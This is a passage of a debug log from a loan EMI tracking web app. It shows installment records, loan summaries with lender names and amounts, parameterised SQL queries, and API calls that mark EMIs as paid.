    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-04-21T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-04-21T16:45:12.347Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '13',
    total_remaining_amount: 195182,
    total_paid_amount: 705658,
    percentage_paid: '78.33'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-04-21T16:45:14.691Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:45:14.691Z server-connect:app Executing action step identify
2026-04-21T16:45:14.691Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:14.692Z server-connect:output identity: 1
2026-04-21T16:45:14.692Z server-connect:app Executing action step restrict
2026-04-21T16:45:14.692Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:14.692Z server-connect:output restrict: undefined
2026-04-21T16:45:14.692Z server-connect:app Executing action step select
2026-04-21T16:45:14.692Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:45:14.694Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-04-21T16:45:20.272Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-04-21T16:45:20.273Z server-connect:app Executing action step identify
2026-04-21T16:45:20.273Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:20.274Z server-connect:output identity: 1
2026-04-21T16:45:20.274Z server-connect:app Executing action step restrict
2026-04-21T16:45:20.274Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:20.274Z server-connect:output restrict: undefined
2026-04-21T16:45:20.274Z server-connect:app Executing action step update
2026-04-21T16:45:20.275Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-04-21T16:45:20.276Z server-connect:output update: { affected: 1 }
2026-04-21T16:45:20.474Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:45:20.475Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-04-21T16:45:20.476Z server-connect:app Executing action step identify
2026-04-21T16:45:20.476Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:20.476Z server-connect:output identity: 1
2026-04-21T16:45:20.476Z server-connect:app Executing action step restrict
2026-04-21T16:45:20.476Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:20.476Z server-connect:app Executing action step identify
2026-04-21T16:45:20.477Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:20.477Z server-connect:output identity: 1
2026-04-21T16:45:20.477Z server-connect:app Executing action step restrict
2026-04-21T16:45:20.477Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:20.478Z server-connect:output restrict: undefined
2026-04-21T16:45:20.478Z server-connect:app Executing action step select
2026-04-21T16:45:20.478Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:45:20.479Z server-connect:output restrict: undefined
2026-04-21T16:45:20.479Z server-connect:app Executing action step custom
2026-04-21T16:45:20.479Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-04-21T16:45:20.480Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
